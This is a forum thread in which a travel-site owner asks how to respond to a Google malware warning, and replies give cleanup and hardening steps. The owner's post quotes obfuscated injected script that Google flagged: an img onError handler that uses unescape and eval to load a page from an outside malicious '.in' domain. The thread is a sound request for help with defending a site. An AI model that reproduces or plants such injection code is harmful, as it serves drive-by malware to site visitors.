Problems with google alert

[Guest]

Hi

 

I've receive a notification from google about some malware on my webpage www.paitillatours.com I request a reconsideration, but I don't want have this problem every time, this is the message from google

 

Dear site owner or webmaster of paitillatours.com,

 

We recently discovered that some of your pages can cause users to be infected with malicious software. We have begun showing a warning page to users who visit these pages by clicking a search result on Google.com.

 

Below is an example URL on your site which can cause users to be infected (space inserted to prevent accidental clicking in case your mail client auto-links URLs):

 

http://paitillatours .com/

 

Here is a link to a sample warning page:

http://www.google.com/interstitial?url=http%3A//paitillatours.com/

 

SO, I have checked all my files and I didn't found NOTHING about 7660.in/, 7256.in/, 5367.in/.

 

On google webmaster tool the section Suspected injected code show me

 

<img src="about:blank" onError='idolet=unescape("%27");vkelw

e=eval("document.getElementById("+idolet+"szyow"+idolet+").s

rc=unescape("+idolet+"%68%74%74%70%3A%2F%2F"+idolet+")+docum

ent.getElementById("+idolet+"7660"+idolet+").id+unescape("+i

dolet+"%2E%69%6E%2F"+idolet+")+"+idolet+"1301192604"+idolet+

"+unescape("+idolet+"%2E%70%68%70"+idolet+")");document.getE

lementById("szyow").src=vkelwe' style="width:300;height:300;

border:0px;">

 

but I don't have nothing about these image

 

How Can I Fix that?

 

Thanks

[Xpajun]

Click here

 

you might want to check some of your other pages while you are there

[Guest]

Follow these steps to clean and secure your website:

 

1) Lock down your site by using an .htaccess password so your customers are not attacked by the hackers code.

 

2) FTP all of the files to your local machine and use a program like WinGrep to identify and remove all malicious and anomalous files containing hacker code. Look for keywords such as 'base64','eval','decode'.

 

3) Delete the files on your hosting account before uploading the clean files.

 

4) FTP the clean files back to your hosting account and read and implement the security patches and contributions found in these two threads. Admin Security and Website Security.

 

5) Change all of your passwords: FTP, CPANEL, STORE ADMIN and DATABASE

 

6) Make sure File and Directory Permissions are set correctly. Directories no higher than 755, Files no higher than 644 and the TWO configure.php files no higher than 444

 

7) If your site has been 'black listed' as an attack site by Google, then log into Google Webmaster Tools and submit the site to be re-indexed and verified to be removed from the 'black list'

 

8) Remove the .htaccess password protection so your customers can resume making purchases from your website.

 

9) Monitor your website using the newly installed contributions to prevent future hacker attacks.

 

10) If you feel you can not perform any of the above steps, you are welcome to PM me for help. If you miss any of these steps your site may remain accessible to hackers.

 

 

 

Chris